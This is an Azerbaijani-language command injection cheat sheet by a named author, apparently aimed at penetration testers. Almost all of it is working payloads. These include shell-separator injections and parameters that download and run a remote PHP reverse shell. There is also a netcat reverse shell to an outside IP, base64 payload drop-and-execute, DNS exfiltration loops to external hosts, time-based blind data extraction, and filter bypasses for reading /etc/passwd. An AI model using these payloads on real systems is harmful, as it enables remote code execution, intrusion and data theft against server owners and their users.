Command Injection

Müəllif : Zaur Qasımov

Command injection nədir?

OS command injection (həmçinin shell injection kimi tanınır) təcavüzkara tətbiqi idarə edən serverdə ixtiyari əməliyyat sistemi (ƏS) əmrlərini yerinə yetirməyə imkan verən və adətən tətbiqi və onun bütün məlumatlarını tamamilə pozmağa imkan verən veb təhlükəsizlik zəifliyidir.

Kontekst

Daxil etdiyiniz yerdən asılı olaraq, əmrlərdən əvvəl sitat gətirilən konteksti (" və ya ' istifadə edilmiş) dayandırmalısınız.

Command Injection/Execution

Unix və Windows-u dəstəkləyən

ls||id; ls ||id; ls|| id; ls || id
ls|id; ls |id; ls| id; ls | id
ls&&id; ls &&id; ls&& id; ls && id
ls&id; ls &id; ls& id; ls & id
ls %0A id # %0A

Sadəcə unix dəstəkləyən

`ls`
$(ls) # $()
ls; id
ls${LS_COLORS:10:1}${IFS}id
> /var/www/html/out.txt
< /etc/passwd

Məsələn

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametrlər

Kod inyeksiyasına və oxşar RCE zəifliklərinə qarşı həssas ola biləcək ən yaxşı 25 parametr bunlardır:

?cmd={payload} ?exec={payload} ?command={payload}
?execute{payload} ?ping={payload} ?query={payload}
?jump={payload} ?code={payload} ?reg={payload}
?do={payload} ?func={payload} ?arg={payload}
?option={payload} ?load={payload} ?process={payload}
?step={payload} ?read={payload} ?function={payload}
?req={payload} ?feature={payload}

Zamana əsaslanan məlumatların çıxarılması

Məlumatların çıxarılması:char by char

millisec@lab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
millisec@lab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s

DNS əsaslı məlumatların eksfiltrasiyası

http://dnsbin.zhack.ca/ ünvanına keçin
Sadə "ls" yerinə yetirin
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS əsaslı məlumatların eksfiltrasiyasını yoxlamaq üçün onlayn alətlər:

dnsbin.zhack.ca pingb.in

Filtering bypass

Windows üçün

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calca

Linux ücün

Bypass backslash və slash

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Bypass pipes

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Last updated